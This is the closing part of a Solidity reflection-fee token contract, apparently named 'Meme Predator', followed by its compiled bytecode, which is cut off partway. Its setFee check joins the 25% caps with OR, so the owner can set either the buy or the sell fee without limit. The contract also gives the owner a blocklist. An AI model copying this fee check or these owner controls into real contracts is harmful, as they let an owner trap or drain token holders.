uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 25 || totalBuyFee <= 25, "Fees must be under 25%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c806374010ece116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610636578063dd62ed3e14610661578063ea1644d51461069e578063f2fde38b146106c7576101d7565b8063a9059cbb1461057c578063bfd79284146105b9578063c3c8cd80146105f6578063c492f0461461060d576101d7565b80638f9a55c0116100d15780638f9a55c0146104d457806395d89b41146104ff57806398a5c3151461052a578063a2a957bb14610553576101d7565b806374010ece146104555780637d1db4a51461047e5780638da5cb5b146104a9576101d7565b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f8146103c15780636fc3eaec146103ea57806370a0823114610401578063715018a61461043e576101d7565b80632fd689e314610317578063313ce5671461034257806349bd5a5e1461036d5780636b99905314610398576101d7565b80631694505e116101ab5780631694505e1461026d57806317f18f951461029857806318160ddd146102af57806323b872dd146102da576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906131a7565b6106f0565b005b34801561021157600080fd5b5061021a61081a565b604051610227919061366d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613107565b610857565b6040516102649190613637565b60405180910390f35b34801561027957600080fd5b50610282610875565b60405161028f9190613652565b60405180910390f35b3480156102a457600080fd5b506102ad61089b565b005b3480156102bb57600080fd5b506102c4610954565b6040516102d191906138af565b60405180910390f35b3480156102e657600080fd5b5061030160048036038101906102fc91906130b4565b610965565b60405161030e9190613637565b60405180910390f35b34801561032357600080fd5b5061032c610a97565b60405161033991906138af565b60405180910390f35b34801561034e57600080fd5b50610357610a9d565b6040516103649190613924565b60405180910390f35b34801561037957600080fd5b50610382610aa6565b60405161038f919061361c565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061301a565b610acc565b005b3480156103cd57600080fd5b506103e860048036038101906103e391906131f0565b610bbc565b005b3480156103f657600080fd5b506103ff610c6d565b005b34801561040d57600080fd5b506104286004803603810190610423919061301a565b610d3e565b60405161043591906138af565b60405180910390f35b34801561044a57600080fd5b50610453610d8f565b005b34801561046157600080fd5b5061047c6004803603810190610477919061321d565b610ee2565b005b34801561048a57600080fd5b50610493610fda565b6040516104a091906138af565b60405180910390f35b3480156104b557600080fd5b506104be610fe0565b6040516104cb919061361c565b60405180910390f35b3480156104e057600080fd5b506104e9611009565b6040516104f691906138af565b60405180910390f35b34801561050b57600080fd5b5061051461100f565b604051610521919061366d565b60405180910390f35b34801561053657600080fd5b50610551600480360381019061054c919061321d565b61104c565b005b34801561055f57600080fd5b5061057a6004803603810190610575919061324a565b6110eb565b005b34801561058857600080fd5b506105a3600480360381019061059e9190613107565b611214565b6040516105b09190613637565b60405180910390f35b3480156105c557600080fd5b506105e060048036038101906105db919061301a565b611232565b6040516105ed9190613637565b60405180910390f35b34801561060257600080fd5b5061060b611252565b005b34801561061957600080fd5b50610634600480360381019061062f9190613147565b61132b565b005b34801561064257600080fd5b5061064b611465565b60405161065891906138af565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613074565b61146b565b60405161069591906138af565b60405180910390f35b3480156106aa57600080fd5b506106c560048036038101906106c0919061321d565b6114f2565b005b3480156106d357600080fd5b506106ee60048036038101906106e9919061301a565b6115ea565b005b6106f86117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610785576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077c906137cf565b60405180910390fd5b60005b8151811015610816576001601160008484815181106107aa576107a9613ca2565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080e90613bfb565b915050610788565b5050565b60606040518060400160405280600d81526020017f4d656d65205072656461746f7200000000000000000000000000000000000000815250905090565b600061086b6108646117ac565b84846117b4565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108a36117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610930576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610927906137cf565b60405180910390fd5b6001601660146101000a81548160ff02191690831515021790555043600881905550565b6000683635c9adc5dea00000905090565b600061097284848461197f565b6005600061097e6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610a8c57610a8b846109d66117ac565b610a868560405180606001604052806028815260200161421760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a3c6117ac565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123539092919063ffffffff16565b6117b4565b5b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b58906137cf565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc46117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c48906137cf565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cae6117ac565b73ffffffffffffffffffffffffffffffffffffffff161480610d245750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d0c6117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b610d2d57600080fd5b6000479050610d3b816123b7565b50565b6000610d88600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b2565b9050919050565b610d976117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1b906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610eea6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6e906137cf565b60405180910390fd5b6103e8683635c9adc5dea00000610f8e9190613a3b565b811015610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc79061388f565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60185481565b60606040518060400160405280600381526020017f454d450000000000000000000000000000000000000000000000000000000000815250905090565b6110546117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d8906137cf565b60405180910390fd5b8060198190555050565b6110f36117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611180576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611177906137cf565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c81905550600081846111aa91906139e5565b9050600083866111ba91906139e5565b90506019821115806111cd575060198111155b61120c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112039061378f565b60405180910390fd5b505050505050565b60006112286112216117ac565b848461197f565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112936117ac565b73ffffffffffffffffffffffffffffffffffffffff1614806113095750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f16117ac565b73ffffffffffffffffffffffffffffffffffffffff16145b61131257600080fd5b600061131d30610d3e565b905061132881612520565b50565b6113336117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b7906137cf565b60405180910390fd5b60005b8383905081101561145f5781600560008686858181106113e6576113e5613ca2565b5b90506020020160208101906113fb919061301a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145790613bfb565b9150506113c3565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114fa6117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611587576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157e906137cf565b60405180910390fd5b6103e8683635c9adc5dea0000061159e9190613a3b565b8110156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d79061386f565b60405180910390fd5b8060188190555050565b6115f26117ac565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461167f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611676906137cf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e69061370f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b9061384f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611894576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188b9061372f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197291906138af565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e69061380f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a569061368f565b60405180910390fd5b60008111611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a99906137ef565b60405180910390fd5b611aaa610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b185750611ae8610fe0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561205257601660149054906101000a900460ff16611ba757611b39610fe0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906136af565b60405180910390fd5b5b601754811115611bec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be3906136ef565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c905750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc69061374f565b60405180910390fd5b6008544311158015611d2e5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611d885750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611dc057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e1e576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ecb5760185481611e8084610d3e565b611e8a91906139e5565b10611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec19061382f565b60405180910390fd5b5b6000611ed630610d3e565b9050600060195482101590506017548210611ef15760175491505b808015611f0b5750601660159054906101000a900460ff16155b8015611f655750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611f7b575060168054906101000a900460ff165b8015611fd15750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120275750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561204f5761203582612520565b6000479050600081111561204d5761204c476123b7565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806121ac5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156121ab5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156121ba5760009050612341565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156122655750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227d57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156123285750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561234057600b54600d81905550600c54600e819055505b5b61234d848484846127a8565b50505050565b600083831115829061239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612392919061366d565b60405180910390fd5b50600083856123aa9190613ac6565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124076002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612432573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124836002846127d590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124ae573d6000803e3d6000fd5b5050565b60006006548211156124f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f0906136cf565b60405180910390fd5b600061250361281f565b905061251881846127d590919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561255857612557613cd1565b5b6040519080825280602002602001820160405280156125865781602001602082028036833780820191505090505b509050308160008151811061259e5761259d613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561264057600080fd5b505afa158015612654573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126789190613047565b8160018151811061268c5761268b613ca2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f330601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127579594939291906138ca565b600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806127b6576127b561284a565b5b6127c184848461288d565b806127cf576127ce612a58565b5b50505050565b600061281783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a6c565b905092915050565b600080600061282c612acf565b9150915061284381836127d590919063ffffffff16565b9250505090565b6000600d5414801561285e57506000600e54145b156128685761288b565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b60008060008060008061289f87612b31565b9550955095509550955095506128fd86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b9990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061299285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129de81612c41565b6129e88483612cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a4591906138af565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aaa919061366d565b60405180910390fd5b5060008385612ac29190613a3b565b9050809150509392505050565b600080600060065490506000683635c9adc5dea000009050612b05683635c9adc5dea000006006546127d590919063ffffffff16565b821015612b2457600654683635c9adc5dea00000935093505050612b2d565b81819350935050505b9091565b6000806000806000806000806000612b4e8a600d54600e54612d38565b9250925092506000612b5e61281f565b90506000806000612b718e878787612dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612bdb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612353565b905092915050565b6000808284612bf291906139e5565b905083811015612c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2e9061376f565b60405180910390fd5b8091505092915050565b6000612c4b61281f565b90506000612c628284612e5790919063ffffffff16565b9050612cb681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612d1382600654612b9990919063ffffffff16565b600681905550612d2e81600754612be390919063ffffffff16565b6007819055505050565b600080600080612d646064612d56888a612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612d8e6064612d80888b612e5790919063ffffffff16565b6127d590919063ffffffff16565b90506000612db782612da9858c612b9990919063ffffffff16565b612b9990919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612de78589612e5790919063ffffffff16565b90506000612dfe8689612e5790919063ffffffff16565b90506000612e158789612e5790919063ffffffff16565b90506000612e3e82612e308587612b9990919063ffffffff16565b612b9990919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612e6a5760009050612ecc565b60008284612e789190613a6c565b9050828482612e879190613a3b565b14612ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ebe906137af565b60405180910390fd5b809150505b92915050565b6000612ee5612ee084613964565b61393f565b90508083825260208201905082856020860282011115612f0857612f07613d0a565b5b60005b85811015612f385781612f1e8882612f42565b845260208401935060208301925050600181019050612f0b565b5050509392505050565b600081359050612f51816141d1565b92915050565b600081519050612f66816141d1565b92915050565b60008083601f840112612f8257612f81613d05565b5b8235905067ffffffffffffffff811115612f9f57612f9e613d00565b5b602083019150836020820283011115612fbb57612fba613d0a565b5b9250929050565b600082601f830112612fd757612fd6613d05565b5b8135612fe7848260208601612ed2565b91505092915050565b600081359050612fff816141e8565b92915050565b600081359050613014816141ff565b92915050565b6000602082840312156130305761302f613d14565b5b600061303e84828501612f42565b91505092915050565b60006020828403121561305d5761305c613d14565b5b600061306b84828501612f57565b91505092915050565b6000806040838503121561308b5761308a613d14565b5b600061309985828601612f42565b92505060206130aa85828601612f42565b9150509250929050565b6000806000606084860312156130cd576130cc613d14565b5b60006130db86828701612f42565b93505060206130ec86828701612f42565b92505060406130fd86828701613005565b9150509250925092565b6000806040838503121561311e5761311d613d14565b5b600061312c85828601612f42565b925050602061313d85828601613005565b9150509250929050565b6000806000604084860312156131605761315f613d14565b5b600084013567ffffffffffffffff81111561317e5761317d613d0f565b5b61318a86828701612f6c565b9350935050602061319d86828701612ff0565b9150509250925092565b6000602082840312156131bd576131bc613d14565b5b600082013567ffffffffffffffff8111156131db576131da613d0f565b5b6131e784828501612fc2565b91505092915050565b60006020828403121561320657613205613d14565b5b600061321484828501612ff0565b91505092915050565b60006020828403121561323357613232613d14565b5b600061324184828501613005565b91505092915050565b6000806000806080858703121561326457613263613d14565b5b600061327287828801613005565b945050602061328387828801613005565b935050604061329487828801613005565b92505060606132a587828801613005565b91505092959194509250565b60006132bd83836132c9565b60208301905092915050565b6132d281613afa565b82525050565b6132e181613afa565b82525050565b60006132f2826139a0565b6132fc81856139c3565b935061330783613990565b8060005b8381101561333857815161331f88826132b1565b975061332a836139b6565b92505060018101905061330b565b5085935050505092915050565b61334e81613b0c565b82525050565b61335d81613b4f565b82525050565b61336c81613b61565b82525050565b600061337d826139ab565b61338781856139d4565b9350613397818560208601613b97565b6133a081613d19565b840191505092915050565b60006133b86023836139d4565b91506133c382613d2a565b604082019050919050565b60006133db603f836139d4565b91506133e682613d79565b604082019050919050565b60006133fe602a836139d4565b915061340982613dc8565b604082019050919050565b6000613421601c836139d4565b915061342c82613e17565b602082019050919050565b60006134446026836139d4565b915061344f82613e40565b604082019050919050565b60006134676022836139d4565b915061347282613e8f565b604082019050919050565b600061348a6023836139d4565b915061349582613ede565b604082019050919050565b60006134ad601b836139d4565b91506134b882613f2d565b602082019050919050565b60006134d06016836139d4565b91506134db82613f56565b602082019050919050565b60006134f36021836139d4565b91506134fe82613f7f565b604082019050919050565b60006135166020836139d4565b915061352182613fce565b602082019050919050565b60006135396029836139d4565b915061354482613ff7565b604082019050919050565b600061355c6025836139d4565b915061356782614046565b604082019050919050565b600061357f6023836139d4565b915061358a82614095565b604082019050919050565b60006135a26024836139d4565b91506135ad826140e4565b604082019050919050565b60006135c56028836139d4565b91506135d082614133565b604082019050919050565b60006135e86026836139d4565b91506135f382614182565b604082019050919050565b61360781613b38565b82525050565b61361681613b42565b82525050565b600060208201905061363160008301846132d8565b92915050565b600060208201905061364c6000830184613345565b92915050565b60006020820190506136676000830184613354565b92915050565b600060208201905081810360008301526136878184613372565b905092915050565b600060208201905081810360008301526136a8816133ab565b9050919050565b600060208201905081810360008301526136c8816133ce565b9050919050565b600060208201905081810360008301526136e8816133f1565b9050919050565b6000602082019050818103600083015261370881613414565b9050919050565b6000602082019050818103600083015261372881613437565b9050919050565b600060208201905081810360008301526137488161345a565b9050919050565b600060208201905081810360008301526137688161347d565b9050919050565b60006020820190508181036000830152613788816134a0565b9050919050565b600060208201905081810360008301526137a8816134c3565b9050919050565b600060208201905081810360008301526137c8816134e6565b9050919050565b600060208201905081810360008301526137e881613509565b9050919050565b600060208201905081810360008301526138088161352c565b9050919050565b600060208201905081810360008301526138288161354f565b9050919050565b6000602082019050818103600083015261384881613572565b9050919050565b6000602082019050818103600083015261386881613595565b9050919050565b60006020820190508181036000830152613888816135b8565b9050919050565b600060208201905081810360008301526138a8816135db565b9050919050565b60006020820190506138c460008301846135fe565b92915050565b600060a0820190506138df60008301886135fe565b6138ec6020830187613363565b81810360408301526138fe81866132e7565b905061390d60608301856132d8565b61391a60808301846135fe565b9695505050505050565b6000602082019050613939600083018461360d565b92915050565b600061394961395a565b90506139558282613bca565b919050565b6000604051905090565b600067ffffffffffffffff82111561397f5761397e613cd1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006139f082613b38565b91506139fb83613b38565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a3057613a2f613c44565b5b828201905092915050565b6000613a4682613b38565b9150613a5183613b38565b925082613a6157613a60613c73565b5b828204905092915050565b6000613a7782613b38565b9150613a8283613b38565b9250817ffffffffffffffffffffffffffffffffffffffffffffffffffffff